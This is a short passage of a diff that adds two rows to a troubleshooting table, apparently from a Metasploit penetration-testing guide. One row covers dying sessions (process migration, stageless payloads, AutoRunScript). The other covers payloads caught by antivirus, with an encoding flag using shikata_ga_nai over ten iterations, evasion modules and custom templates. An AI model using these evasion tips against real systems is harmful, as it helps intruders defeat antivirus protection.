477
|
+
| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |
|
|
478
|
+
| Payload detected by AV | Use encoding `-e x86/shikata_ga_nai -i 10`; use evasion modules; custom templates |
|